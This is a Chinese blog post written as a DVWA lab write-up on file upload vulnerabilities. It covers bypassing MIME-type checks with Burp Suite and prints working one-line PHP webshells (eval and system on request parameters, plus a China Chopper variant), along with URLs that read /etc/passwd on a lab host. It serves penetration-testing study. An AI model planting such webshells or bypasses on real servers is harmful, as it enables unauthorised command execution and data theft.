文件上传漏洞

文件上传漏洞原理

1、文件上传( File Upload )是大部分web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等 2、正常的文件一般是文档、 图片、视频等, Web应用收集之后放入后台存储,需要的时候再调用出来返回 3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell 4、一旦黑客拿到Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进步拿下整个服务器甚至 内网 5、SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击web服务,实际渗透两种相结合,达到对目标的深 度控制

实验过程:

实验一:

低安全模式下,上传任意类型的文件,文件大小限制

PHP源码

 

实验二:

中安全模式下,绕过类型上传文件[文件mime类型]

上传非指定类型的文件失败

可以看到上面的php源码,它是通过识别content-type 数据类型描述来识别你发的是不是jpeg格式,通过BurpSuite抓包修改对应参数,再forward重放就能完成上传操作

实验三:

高安全模式-上传一句话图片木马 [文件后缀限制]

Webshell

小马: 一句话木马也称为小马,即整个shell代码量只有一行, 一般是系统执行函数 大马:代码量和功能比小马多. -般会进行二次编码加密.防止被安全防火墙/入侵系统检测到

shell2.php #eval 使用php函数,例如phpinfo();

<?php eval($_REQUEST['root']);?> # [ ]里面的是连接的密码也就是root

http://192.168.1.132/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();

shell3. php #system 使用Linux系统命令,例如ls,cp,rm

<?php system($_REQUEST['root']);?>

http://192.168.1.132/dvwa/hackable/uploads/shell3php?yangge=cat/etc/passwd

编写一句话木马,使用的是php函数

上传成功

复制路径,粘贴至后面。

中国菜刀

<?php @eval($_POST['root']);?>

说明 REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。

 

编写一句话木马,通过post参数,可以用中国菜刀连接

 

上传木马

打开中国菜刀,复制路径http://192.168.1.132/dvwa/vulnerabilities/upload/../../hackable/uploads/shell.php 也就是上传木马的完整路径。密码填选[ ]里的,也就是root

进行数据库连接

解释:

<T>数据库类型(type)</T>

<H>数据库地址(host)</H>

<U>用户名(user)</U>

<P>密码(password)</P>

<L>编码</L>

 

posted @ 2023-04-03 23:07  0x1e61  阅读(187)  评论(0)    收藏  举报